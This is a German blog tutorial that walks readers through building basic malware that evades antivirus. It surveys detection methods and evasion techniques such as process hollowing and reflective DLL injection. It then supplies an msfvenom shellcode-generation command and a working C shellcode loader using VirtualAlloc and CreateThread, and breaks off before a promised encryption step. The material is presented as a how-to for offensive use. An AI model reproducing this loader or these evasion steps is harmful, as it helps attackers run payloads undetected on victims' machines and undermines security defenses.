AV/EDR-Umgehung | Malware-Entwicklung

Feb 18 2023

Hallo, haben Sie schon einmal darüber nachgedacht, wie Hacker Anti-Virus-Lösungen umgehen können? Wir werden gemeinsam Ihre erste grundlegende Malware erstellen, die AV umgehen kann, und einige Grundlagen verstehen. Um unsere Malware zu erstellen, müssen wir einige Grundlagen verstehen wie: 1 – Was sind die Schritte der Malware-Analyse? 2 – Wie erkennt AV oder Antivirus schädliche Programme oder Codes? 3 – Was sind AV-Umgehungstechniken (On-Desk – In-Memory)? Schreiben Sie unsere Malware in „C“ – praktische Zeit. Was sind die Schritte zur Malware-Analyse? 1 – Statische Analyse → Im Grunde genommen ist es ohne jegliche Komplexität der Schritt, bei dem wir mit der Analyse der Malware oder des Programms beginnen, ohne es zu öffnen. Wir suchen im statischen Analyseschritt nach vielen Dingen in Malware, wie (PE-Header, Strings, Dateiinformationen).

Hallo, haben Sie schon einmal darüber nachgedacht, wie Hacker Anti-Virus-Lösungen umgehen können? Wir werden gemeinsam Ihre erste grundlegende Malware erstellen, die AV umgehen kann, und einige Grundlagen verstehen.

Um unsere Malware zu erstellen, müssen wir einige Grundlagen verstehen wie:

1 – Was sind die Schritte der Malware-Analyse?
2 – Wie erkennt AV oder Antivirus schädliche Programme oder Codes? 3 –
Was sind AV-Umgehungstechniken (On-Desk – In-Memory)?

Was sind die Schritte zur Malware-Analyse?

1 – Statische Analyse → Im Grunde genommen ist es ohne jegliche Komplexität der Schritt, bei dem wir mit der Analyse der Malware oder des Programms beginnen, ohne es zu öffnen. Wir suchen im statischen Analyseschritt nach vielen Dingen in Malware, wie (PE-Header, Strings, Dateiinformationen).

2 – Dynamische Analyse → Jetzt können wir sagen, dass es sich um den Prozess handelt, bei dem wir die Malware analysieren, nachdem wir sie ausgeführt haben. Wir suchen nach vielen Dingen wie „Systemänderungen“ und „Überwachen des Verhaltens“, um zu sehen, was die Malware tut.

In diesem Bild ist eine einfache dynamische Analyse zu sehen, die den Netzwerkverkehr analysiert.

Hinweis: Es folgen 4 Schritte (Statische Analyse – Dynamische Analyse – Erweiterte statische Analyse – Erweiterte dynamische Analyse). Sie können jedoch suchen :)

Jetzt werden wir darüber sprechen, wie AV Malware erkennt.

Anti-Virus Erkennt Malware in drei Hauptschritten:

1 – Signaturbasierte Erkennung → Bei dieser Technik werden Dateien und Netzwerkverkehr mit einer Datenbank bekannter Malware-Signaturen verglichen. Wenn eine Übereinstimmung gefunden wird, wird die Datei oder der Datenverkehr als potenziell bösartig gekennzeichnet.

In diesem Bild sehen Sie einige Verhexungen. Wenn der AV beispielsweise einen Teil dieser Verhexungen vergleicht, weiß er, ob es sich um bösartige Verhexungen handelt …

2 – Heuristische Erkennung → Bei dieser Technik werden maschinelles Lernen und künstliche Intelligenz eingesetzt, um das Verhalten von Dateien und Netzwerkverkehr zu analysieren. Wenn eine Datei oder ein Datenverkehr verdächtiges Verhalten zeigt, kann sie als potenziell bösartig gekennzeichnet werden. Man kann auch sagen, dass diese Technik das Lesen der Codeanweisungen ist.

3 – Verhaltensbasierte Erkennung → Bei dieser Technik wird das Verhalten von Dateien und Netzwerkverkehr im Laufe der Zeit analysiert, um Muster bösartiger Aktivitäten zu identifizieren. Wenn eine Datei oder ein Datenverkehr ein Verhalten zeigt, das erheblich von dem erwarteten abweicht, kann sie als potenziell bösartig gekennzeichnet werden.

In diesem Bild überwachen wir die Aufgaben. Wenn der AV das Gefühl hat, dass viele Aufgaben offen oder potenziell bösartig sind, wird er durch „Verhaltensbasierte Erkennung“ erkannt.

AV-Umgehungstechniken:

Wir haben zwei Hauptthemen (auf dem Schreibtisch – im Gedächtnis), wie zum Beispiel:

(1) Am Schreibtisch:

Packer → Das Packen von Malware ist wie das Komprimieren der Datei, um neue Anweisungen und Dateigrößen zu enthalten, die der „signaturbasierten Erkennung“ entgehen.
Verschleierer → Es verschleiert beispielsweise die auf der schwarzen Liste stehenden Funktionen (VirtualAlloc – VirtualProtect und mehr…), die der „heuristischen Erkennung“ entgehen, dass ihre Anweisungen nicht gut von AV Solution gelesen werden können
Protectors → Da sie den Reverse-Engineering-Prozess der Malware komplex machen, handelt es sich bei The Protectors um eine normale App, die nicht für die Verwendung in Evasion entwickelt wurde, aber nützlich ist

Remote Process Memory Injection: Wir injizieren unseren Prozess oder unsere Nutzlast in einen normalen Prozess. Um diese Technik nutzen zu können, benötigen wir einige APIs wie:

Reflektierende DLL-Injektion: Injektionstechnik, die es ermöglicht, eine DLL in den Speicher eines Prozesses zu laden, ohne die Standard-Windows-APIs zum Laden von DLLs aufzurufen. Dies kann in Situationen nützlich sein, in denen die herkömmlichen Methoden der DLL-Injektion aufgrund von Einschränkungen oder Sicherheitsmaßnahmen nicht möglich sind. Die reflektierende DLL-Injektion verwendet eine Technik, die als manuelle Zuordnung bekannt ist. Die Grundidee besteht darin, die DLL im Speicher abzubilden und direkt auszuführen, ohne die Standard-Windows-API-Aufrufe zu verwenden. Dadurch kann die DLL ausgeführt werden, ohne Sicherheitswarnungen auszulösen oder von Antivirensoftware erkannt zu werden.

Process Hollowing: Wir erstellen gefälschte Prozesse, die Platz beanspruchen, dann stoppen wir sie, ändern ihren Inhalt in unsere Nutzlast und setzen den Prozess mit seinen neuen Anweisungen und Inhalten erneut fort

Inline-Hooking: ist eine Technik, bei der der Code eines Prozesses geändert wird, während er im Speicher ausgeführt wird. Dies geschieht durch die Umleitung von Funktionsaufrufen vom Originalcode an eine andere Stelle im Speicher.

Es gibt noch mehr Techniken, aber das sind die berühmten Techniken, die verwendet werden.

Grundlegende Malware schreiben.

Bei jeder Malware steht der Shellcode an erster Stelle. Was ist also der Shellcode? → Es sind einige Bytes, die die CPU und der RAM verstehen können. Der Shellcode enthält einen Prozess, den Sie möchten, und um ihn zu generieren, können Sie Ihr Terminal öffnen und Folgendes eingeben:

msfvenom -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -i 10 -f c

Wie fügt man es also in unseren C-Code ein? Am einfachsten können Sie es in eine Variable wie diese einfügen:

unsigned char shellcode[] = {"Put here your shellcode"};
unsigned int shellcode_len = sizeof(shellcode); // To get the size of the shellcode

void main() /* The Main Function */

{
        void* exec_mem; // Memory Buffer For Payload/Shellcode 
        HANDLE th; 
        DWORD oldprotect = 0;

        exec_mem = VirtualAlloc(0, shellcode_len , MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); /* Allocate a memory buffer for payload */
        RtlMoveMemory(exec_mem, shellcode, shellcode_len); /* Copy/Move payload to buffer or Memory */

        th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
        WaitForSingleObject(th, -1);

    

}

Es ist nachweisbar, richtig!

Verschleiern und verschlüsseln Sie Malware, damit sie nicht erkannt wird.

Wenn Sie also den Code schreiben, den ich zuvor erwähnt habe, und versuchen, Runit auszuführen, wird Ihnen angezeigt, dass es sich um einen Virus handelt! Was werden wir also tun?

Das erste, was bösartig war, war, dass der Code der „Shellcode“ ist, also müssen wir ihn verschlüsseln und verschleiern, damit er für AV Solutions nicht verständlich ist, also müssen wir ihn verschlüsseln, ABER WIE!?